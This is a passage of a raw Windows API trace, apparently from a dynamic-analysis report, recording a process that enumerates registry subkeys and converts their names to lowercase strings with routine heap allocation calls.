RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.966] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.966] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x119b9b8, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0250.966] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0250.966] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x119c1a8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0250.967] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.967] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.967] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.967] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.967] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x119b9b8, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0250.967] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.967] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x119c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0250.967] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.967] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.967] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.967] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.967] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x119b9b8, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0250.967] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.967] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x119c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0250.967] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.967] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.967] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.967] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.967] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x119b9b8, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0250.967] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.967] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x119c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0250.967] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.967] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.967] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.967] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.967] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0x119b9b8, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0250.967] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.968] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x119c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0250.968] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.968] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.968] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.968] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.968] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0x119b9b8, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0250.968] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.968] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x119c160, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0250.968] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.968] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.968] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.968] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.968] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0x119b9b8, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0250.968] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.968] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x119c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0250.968] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.968] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.968] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.968] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.968] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0x119b9b8, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0250.968] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.968] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x119c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0250.968] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.968] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.968] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.968] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.968] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0x119b9b8, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0250.968] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.969] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x119c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0250.969] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.969] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.969] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.969] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.969] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0x119b9b8, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0250.969] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.969] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x119c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0250.969] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.969] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.969] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.969] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.969] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0x119b9b8, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0250.969] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0250.969] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x119c1a8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0250.969] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.969] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.969] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.969] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.969] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0x119b9b8, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0250.969] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0250.969] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x119c160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0250.969] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.975] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.975] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.975] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.975] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0x119b9b8, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0250.975] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.975] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x119c1a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0250.976] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.976] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.976] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.976] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.976] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0x119b9b8, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0250.976] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.976] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x119c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0250.976] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.976] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.976] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.976] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.976] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0x119b9b8, cchName=0x104 | out: lpName="Loki") returned 0x0 [0250.976] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x119c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0250.976] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0x119b9b8, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x119c160, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0250.976] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0x119b9b8, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x119c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0250.976] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0x119b9b8, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x119c160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0250.977] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0x119b9b8, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x119c1a8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0250.977] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0x119b9b8, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x119c160, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0250.977] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0x119b9b8, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x119c1a8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0250.977] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0x119b9b8, cchName=0x104 | out: lpName="MMC") returned 0x0 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x119c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0250.977] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0x119b9b8, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x119c1a8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0250.977] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0x119b9b8, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x119c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0250.977] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0x119b9b8, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x119c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0250.978] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0x119b9b8, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x119c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0250.978] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0x119b9b8, cchName=0x104 | out: lpName="MSF") returned 0x0 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 